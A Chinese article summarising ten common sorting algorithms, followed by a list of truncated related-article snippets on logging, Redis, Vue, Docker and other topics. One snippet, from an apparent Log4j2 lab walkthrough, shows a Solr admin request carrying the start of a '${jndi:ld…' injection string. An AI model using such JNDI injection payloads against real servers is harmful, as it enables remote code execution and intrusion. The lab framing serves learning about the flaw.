常见排序算法
目录
冒泡排序(Bubble Sort)
选择排序(Selection Sort)
插入排序(Insertion Sort)
希尔排序(Shell Sort)
快速排序(Quick Sort)
堆排序(Heapsort)
归并排序(Merge Sort)
计数排序(Counting Sort)
桶排序(Bucket Sort)
基数排序(Radix Sort)
常见的排序算法包括冒泡排序、选择排序、插入排序、希尔排序、快速排序、堆排序、归并排序、计数排序、桶排序和基数排序等。以下是对这些排序算法的详细介绍:
冒泡排序(Bubble Sort)
- 原理:通过重复遍历要排序的序列,每次比较相邻的元素并交换它们的位置,使得每次遍历都将当前未排序部分中的最大元素移动到末尾。
- 优点:稳定。
- 缺点:慢,每次只能移动相邻两个数据,时间复杂度为O(n^2)。
- 适用场景:适用于数据量较小且对效率要求不高的场景。
选择排序(Selection Sort)
- 原理:每次从未排序部分找到最小(或最大)元素,将其放到已排序序列的末尾。
- 优点:数据移动次数已知为(n-1)次。
- 缺点:比较次数多,时间复杂度为O(n^2)。
- 适用场景:适用于数据量较小且对稳定性无要求的场景。
插入排序(Insertion Sort)
- 原理:将未排序的部分元素一个一个插入到已排序部分的合适位置。
- 优点:稳定,当序列已经有序时,时间复杂度为O(n)。
- 缺点:比较次数不一定,比较次数越少,插入点后的数据移动越多,特别是当数据总量庞大的时候,最坏情况下时间复杂度为O(n^2)。
- 适用场景:适用于数据量较小且基本有序的数据排序场景。
希尔排序(Shell Sort)
- 原理:对插入排序进行改进,通过逐步减小增量对数组进行排序。
- 优点:快,数据移动少,平均时间复杂度为O(n^1.3),比直接插入排序效率更高。
- 缺点:不稳定,增量的选择对排序效率有影响。
- 适用场景:适用于中等规模的数据排序,当希望获得比简单排序算法更好的效率时。
快速排序(Quick Sort)
- 原理:采用分治策略,选择一个基准元素,将数组分割成两部分,分别递归排序。
- 优点:极快,数据移动少,平均时间复杂度为O(n log n)。
- 缺点:不稳定,最坏情况下时间复杂度为O(n^2),但通常可以通过优化来避免。
- 适用场景:适用于大规模数据排序。
堆排序(Heapsort)
- 原理:基于最大堆或最小堆的特性进行排序。
- 优点:不需要额外的存储空间,时间复杂度为O(n log n)。
- 缺点:不稳定,需要构建堆的过程。
- 适用场景:适用于需要快速访问最大或最小元素的场景。
归并排序(Merge Sort)
- 原理:通过分割和合并两个有序子数组来排序。
- 优点:稳定,时间复杂度为O(n log n)。
- 缺点:需要额外的存储空间。
- 适用场景:适用于大规模数据排序,但需要额外存储空间。
计数排序(Counting Sort)
- 原理:通过创建一个数组来计数每个元素出现的次数,然后根据计数结果重新排列数组。
- 优点:线性时间复杂度O(n+k),其中k是元素范围。
- 缺点:需要额外的存储空间,且适用于元素范围有限的场景。
- 适用场景:适用于元素范围有限且数据量不大的场景。
桶排序(Bucket Sort)
- 原理:将数组元素分布到几个有序的桶里,每个桶里的元素再排序(可以再使用其他的排序算法或是递归的桶排序)。
- 优点:简单直观,适用于输入近似均匀分布的情况。
- 缺点:需要额外的存储空间,且桶的数量选择对排序效率有影响。
- 适用场景:输入数据服从均匀分布时,桶排序的性能较好。
基数排序(Radix Sort)
- 原理:按位对数字进行排序,通常从最低有效位(LSD)到最高有效位(MSD)进行排序。
- 优点:稳定,适用于多位数整数排序。
- 缺点:需要额外的存储空间,且时间复杂度与数字的位数有关。
- 适用场景:适用于log(N)远大于K的情况,如多位数整数排序。
相关文章:
常见排序算法
目录 冒泡排序(Bubble Sort) 选择排序(Selection Sort) 插入排序(Insertion Sort) 希尔排序(Shell Sort) 快速排序(Quick Sort) 堆排序(Hea…...
开源轮子 - Logback 和 Slf4j
spring boot内置:Logback 文章目录 spring boot内置:Logback一:Logback强在哪?二:简单使用三:把 log4j 转成 logback四:日志门面SLF4J1:什么是SLF4J2:SLF4J 解决了什么痛…...
redis数据类型:list
数据结构 源码版本:7.2.2路径:src/adlist.h 关于list的 头文件中涉及到的这三个结构体如下 /* Node, List, and Iterator are the only data structures used currently. */ # 节点 typedef struct listNode {struct listNode *prev; # 前元素的指针s…...
聚类之轮廓系数
Silhouette Score(轮廓系数)是用于评估聚类质量的指标之一。它衡量了数据点与同簇内其他点的相似度以及与最近簇的相似度之间的对比。 公式 对于一个数据点 i: a(i): 数据点 i 到同簇内其他点的平均距离(簇内不相似度ÿ…...
时钟芯片入门指南:从原理到实践
DS1302时钟 实时时钟芯片,精度高、 DS1302芯片可以对年、月、日、周、时、分、秒进行计时,并且具有闰年补偿等多种功能。 采用三线接口与CPU进行同步通信(采用串行数据传送方式简单SPI 3线接口),并可采用突发方式一次传送多个字节的时钟信号…...
【Java笔记】第十七章:反射
一、反射 1. 反射(Reflection): 允许在程序运行状态中,可以获取任意类中的属性和方法,并且可以操作任意对象内部的属性和方法,这种动态获取类的信息及动态操作对象的属性和方法对应的机制称为反射机制。 2. 类对象 和 类的对象(实…...
Vue:实现输入框不能输负数功能
1、使用v-model指令 <input type"number" v-model"value" min"0" input"checkInput"> checkInput() {this.value Math.max(0, parseInt(this.value)); } 2、使用计算属性 <template><div><input type"…...
GamePlay UE网络同步
基本同步方式: ①未复制:函数仅在本机运行,不对任何人造成影响 ②在服务器上运行:当函数在客户端上调用时才能生效。客户端会通知服务器:“请在服务器上执行这个事件”,事件的具体内容会被在服务器上执行。 ③组播(多播,Multicast):当函数在服务器上调用时才能生效…...
iLoveIMG:强大的在线图片编辑工具分享
在数字化时代,图片处理已成为日常工作中不可或缺的一部分。无论是优化网页图片、调整尺寸、压缩处理还是格式转换,高效且免费的工具总是令人向往。今天,我要为大家介绍一个非常实用的在线图片编辑工具——iLoveIMG。它不仅功能强大࿰…...
重温设计模式--工厂模式(简单、工厂、抽象)
文章目录 工厂模式定义工厂模式通常可以细分为以下几种类型1、简单工厂模式(Simple Factory Pattern)2、工厂方法模式(Factory Method Pattern)3、抽象工厂模式(Abstract Factory Pattern) UML 图1、简单工厂模式UML2、…...
人工智能ACA(六)--计算机视觉基础
一、计算机视觉概述 1. 计算机视觉定义 人工智能(AI)的一个重要分支旨在使计算机和系统能够从图像或多维数据中“理解”和“解释”视觉世界通过模拟人类视觉系统,计算机视觉技术能够自动执行诸如识别、分类、检测和跟踪等任务。 2. 计算机…...
WPF+MVVM案例实战与特效(四十六)- 打造动态背景时钟控件,轻松提升界面美感
文章目录 1、引言2、案例效果2、时钟控件封装1、创建用户控件2、依赖属性3、代码解释4、时钟图片资源3、控件使用4、源代码获取5、总结1、引言 在开发WPF应用程序时,创建一个美观且功能丰富的用户控件可以大大提升用户体验。今天,我们将深入探讨如何构建一个好看的时钟控件,…...
【读书笔记】《论语别裁》爱与罪
一、内容摘要 《论语别裁》第01章讨论了孔子关于孝悌的思想,以及其在中国文化中的重要性和复杂性。文中引用了有子的观点,强调孝弟是为人之本。然而,随着历史的发展,孔子的思想也被误解或被用作维护专制统治的工具。通过司马迁的…...
Log4j2漏洞
输入systemctl start docker启动docker 进入到CVE-2021-44228 输入docker-compose up -d开启环境 输入docker ps查看开启环境的端口 去访问靶场 打开dnslog平台,获取一个域名来监控我们所获得的内容 访问http://8.155.8.255:8983/solr/admin/cores?action${jndi:ld…...
ds刷题DAY1|66.加一、485. 最大连续 1 的个数
66. 加一 - 力扣(LeetCode) 从数组尾部开始遍历,遇到不是9的直接加一并返回;遇到等于9的变成0,并且继续判断下一位。如果全部为9,创建一个新数组,长度为原长度加一,首位为1ÿ…...
合合信息:探索视觉内容安全新前沿
2024年12月13日-15日,中国图象图形学学会在杭州召开。大会期间,来自合合信息的图像算法研发总监郭丰俊进行了主题为“视觉内容安全技术的前沿进展与应用”的演讲,介绍了视觉内容安全问题,并总结了现今的技术发展,对我很…...
C++23新特性解析:[[assume]]属性
1. 引言 在C的发展历程中,性能优化一直是一个核心主题。C23引入的[[assume]]属性为开发者提供了一个强大的工具,允许我们直接向编译器传达程序的不变量(invariant),从而实现更好的代码优化。 1.1 为什么需要assume&a…...
航电系统电子罗盘的作用
一、基本功能与原理 电子罗盘,又称数字罗盘,是利用地磁场来定北极的一种方法。它结合了电子技术和晶体技术,通过灵敏的线圈、控制电路及读出系统来探测特定磁场,从而确定方向。电子罗盘可以测量磁场强度、方向、大小及旋转角度&am…...
从 $PGDATA 到文件组:深入解析 PostgreSQL 与 SQL Server 的存储策略
在数据库领域,数据存储和管理的效率与可靠性是决定系统性能、可扩展性和易于管理的关键因素。PostgreSQL 和 SQL Server 在数据存储方面采取了略有不同的方式。 PostgreSQL 中一个数据库管理员经常遇到的关键概念是 $PGDATA 文件夹。在这里,我们将探讨 $PGDATA 文件夹是什么…...
IDEA无法打开插件市场的解决
1.版本 我的IDEA版本号为2020.1.4 大家可以从IDEA的help->about进行版本号的查看 2.解决 我们直接到jetbrains官网搜索你想要下载的插件 直接下载即可自动导入...
PPO算法基础(一)
PPO近端策略优化算法 我们今天还是主要来理解PPO算法的数学原理。PPO是一种策略梯度方法,简单的策略梯度对每个样本(或者一组样本)进行一次梯度更新,对单个样本执行多个梯度步骤会导致一些问题,因为梯度偏差太大&…...
Docker部署seata 最详细版
1.docker安装 我采用的系统是ubuntu 22 1.1 更新系统 首先,打开终端并更新你的系统包: sudo apt update sudo apt upgrade -y 1.2. 安装必要的依赖 安装一些必要的工具,用于允许 apt 使用 HTTPS: sudo apt install apt-t…...
Debian 12 安装配置 fail2ban 保护 SSH 访问
背景介绍 双十一的时候薅羊毛租了台腾讯云的虚机, 是真便宜, 只是没想到才跑了一个月, 系统里面就收集到了巨多的 SSH 恶意登录失败记录. 只能说, 互联网真的是太不安全了. 之前有用过 fail2ban 在 CentOS 7 上面做过防护, 不过那已经是好久好久之前的故事了, 好多方法已经不…...
C++之“流”-第5课.三军联动:流 +操作符+函数重载
如何针对特定函数类型重载流输出操作符?这样做有什么用处?C语言中,“流”、“操作符”、“函数重载” 这三大军团如何配合作战? 前言 C中,“流” 的日常运用,最基本的就是在你的代码里使用 << 和 &g…...
Mysql高级部分总结(二)
MySQL的内部日志 binlog记载的是update/delete/insert这样的SQL语句,而redo log记载的是物理修改的内容(xxxx页修改了xxx)。 binlog无论MySQL用什么引擎,都会有,而redo log是MySQL的InnoDB引擎所产生的。 redo log事务开始的时候,就开始记录每次的变更信息,而binlog是在…...
Linux服务器端自动挂载存储设备(U盘、移动硬盘)
前言 Linux服务器挂载存储设备需要使用mount,因为服务器的存储通常是固定的,很少存在频繁的插拔USB存储设备的现象 ,使用Linux系统本身是没有较为简单的自动挂载存储设备的方法的。 涉及知识点 udev udev可以监测USB设备的插入、拔出事件,并且Linux系统支持通过/etc/ude…...
动态规划<四> 回文串问题(含对应LeetcodeOJ题)
目录 引例 其余经典OJ题 1.第一题 2.第二题 3.第三题 4.第四题 5.第五题 引例 OJ 传送门Leetcode<647>回文子串 画图分析: 使用动态规划解决 原理:能够将所有子串是否是回文的信息保存在dp表中 在使用暴力方法枚举出所有子串,是…...
计算机毕业设计PySpark+Hadoop中国城市交通分析与预测 Python交通预测 Python交通可视化 客流量预测 交通大数据 机器学习 深度学习
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
多边形内角问题@三角形的基本性质@平面镶嵌问题
文章目录 abstract符号说明多边形正多边形正 n n n边形正多边形中心角 多边形内角和外角多边形内角和定理证明证法一证法二证法三 多边形外角 多边形的对角线平面镶嵌👺全等多边形平面镶嵌拓展正多边形镶嵌平面用一种正多边形镶嵌用两种正多边形镶嵌 使用三种正多边…...
【vue】圆环呼吸灯闪烁效果(模拟扭蛋机出口处灯光)
效果图先发: 页面部分: <div ref"round" class"round"><div class"light" ref"light"/><div class"box"></div></div>js部分(控制圆环生成); setRound…...
Ftp目录整个下载
最近有个需求是要下载ftp接近十个T的数据,在调研过多个工具后发现还是lftp的mirror最省事 mirror参数 Mirror specified source directory to local target directory. If target directory ends with a slash, the source base name is appended to target direc…...
实践KDTS-WEB从mysql迁移到kingbasev9
数据库国产化替代数据迁移是一个复杂且关键的过程。这涉及到将原有数据库中的数据准确、完整地迁移到新的国产数据库中,同时确保数据的完整性和一致性。人大金仓提供了强大的数据库迁移工具(KDTS)对同构、异构数据库数据迁移; 数…...
【贪吃蛇小游戏 - JavaIDEA】基于Java实现的贪吃蛇小游戏导入IDEA教程
有问题请留言或私信 步骤 下载项目源码:项目源码 解压项目源码到本地 打开IDEA 左上角:文件 → 新建 → 来自现有源代码的项目 找到解压在本地的项目源代码文件,点击确定 选择“从现有项目创建项目”。点击“下一步” 点击下一步&a…...
STM32CUBEMX+STM32H743ZIT6+IAP+UART在线升级初始化和代码解析
1、STM32H7带的ITCM,DTCM,AXI SRAM,SRAM1,SRAM2,SRAM3,SRAM4和备份SRAM五块。 其中, ①TCM区包括ITCM和DTCM,这两个是直连CPU的。 速率与CPU一致,最高能到480MHz。 DTCM地…...
vue-axios+springboot实现文件流下载
前端vue代码: <template><div class"app-container documentation-container"><div><el-button type"primary" click"downloadFile(test.xlsx)">下载test.xlsx</el-button></div></div> …...
vue预览和下载 pdf、ppt、word、excel文档,文件类型为链接或者base64格式或者文件流,
** 方法1:word、xls、ppt、pdf 这些文件, 如果预览的文件是链接可以直接打开,可用微软官方的预览地址 ** <iframe width"100%" :src"textVisibleURl " id"myFramePPT" style"border: none;backgroun…...
GIS 文件格式 及 常规应用总结
文章目录 GIS 中常见的文件格式 以及 再次打开注意事项资源网站应用地图瓦片数据地形数据倾斜模型 QGS 应用矢量数据格式栅格数据格式数据库格式更改图层样式更改图层范围导出为不同分辨率图片导出矢量文件直接保存图层通过打印布局导出使用插件导出 tiff 图片前端处理方式 GIS…...
《Pytorch框架CV开发-从入门到实战》
目录 1.环境部署2.自动梯度计算张量 tensor3.线性回归4.逻辑回归6.人工神经网络的基本概念6.1 感知器6.2 激活函数6.3多层感知器6.4 反向传播算法——前向传播6.5 反向传播算法——反向传播6.6 反向传播算法——训练方法7.Pytorch基础数据集8.手写数字识别人工神经网络训练8.1 …...
element-ui的el-select多选同时获取label与value值
直接上代码: <!DOCTYPE html> <html><head><meta charset"utf-8"><!-- 引入 Element UI 的 CSS --><link rel"stylesheet" href"https://unpkg.com/element-ui/lib/theme-chalk/index.css"><…...
跨站请求伪造之基本介绍
一.基本概念 1.定义 跨站请求伪造(Cross - Site Request Forgery,缩写为 CSRF)漏洞是一种网络安全漏洞。它是指攻击者通过诱导用户访问一个恶意网站,利用用户在被信任网站(如银行网站、社交网站等)的登录状…...
干部大数据分析系统如何助力构建选人用人的逻辑框架
在当今信息化快速发展的时代,干部大数据分析系统作为一种创新的管理工具,正在逐步改变传统的选人用人方式。这一系统融合了大数据、人工智能等现代信息技术,为组织部门提供了一个强大的辅助决策工具,有助于构建更加科学、准确和公…...
今天最新早上好问候语精选大全,每天问候,相互牵挂,彼此祝福
1、朋友相伴,友谊真诚永不变!彼此扶持绿树荫,共度快乐雨后天!一同分享的表情,愿我们友情长存,一生相伴永相连! 2、人生几十年,苦累伴酸甜,风华不再茂,雄心非当…...
Android开发环境搭建和编译系统
1 工具使用 1.1 将dos格式的文件转换为unix格式文件 直接执行 dos2unix file 例如: dos2unix InotifyMon/AndroidManifest.xml 1.2 Linux Shell FTP使用 ftp <IP addr> 输入ID和password prompt off // 下载文件到本地 mget * 1.3 Linux sed 1.3.1 Linux命令之…...
autMan奥特曼机器人-autMan的PHP环境
直装版请自行安装php环境。 docker版本预置了php环境,如下图: 如果使用插件"test php"测试环境时,实时日志有报错如下: 可进入终端,输入两条命令 apk add curl apk add php-curl...
路径规划之启发式算法之二十:麻雀搜索算法(Sparrow Search Algorithm,SSA)
麻雀搜索算法(Sparrow Search Algorithm,SSA)是一种受麻雀觅食和反捕食行为启发的新型的群智能优化算法,它模拟了麻雀种群的觅食行为和反捕食行为的生物学群体特征。该算法由薛建凯在2020年首次提出,旨在解决全局优化问题,具有求解精度高、效率高等特点。 一、算法原理 S…...
Vue+element 回车查询页面刷新
问题描述: form 表单出查询条件需要实现 input 输入完成后键盘回车查询:keyup.enter“handleQuery”,如果 form 里只有一个input,回车没有触发事件,而是刷新页面,放两个input就没问题 问题原因࿱…...
为何页面搜索应避免左模糊和全模糊查询???
前言 在构建高效且可扩展的Web应用程序时,数据库查询的性能是影响用户体验的关键因素之一。特别是对于涉及大量数据的页面搜索功能,选择正确的查询方式不仅可以提升应用的速度,还能显著改善用户交互体验。 B-Tree索引与最左前缀匹配特性 1…...
源码分析之Openlayers中ZoomSlider滑块缩放控件
概述 ZoomSlider滑块缩放控件就是Zoom缩放控件的异形体,通过滑块的拖动或者点击滑槽,实现地图的缩放;另外其他方式控制地图缩放时,也会引起滑块在滑槽中的位置改变;即ZoomSlider滑块缩放控件会监听地图的缩放级别&…...
Cherno C++学习笔记 P46 箭头运算符
这一篇文章我们讲一下箭头运算符的使用。在之前的一些场景下,我们已经使用到了箭头运算符,这次我们可以更深入的聊一下箭头运算符应该如何使用,以及我们如何实现自己的箭头指针。 我们还是以一个最简单的Entity类举例: class En…...
项目转换微服务架构
文章目录 1.sun-dependencies引入SpringCloud的版本2. 创建sun-cloud-home微服务1.创建maven项目2.目录概览3.pom.xml4.application.yml5.application-prod.yml6.HomeApplicaion.java7.HomeController.java8.测试访问9.打包测试 3.创建sun-cloud-sku微服务1.磁盘将这个sun-clou…...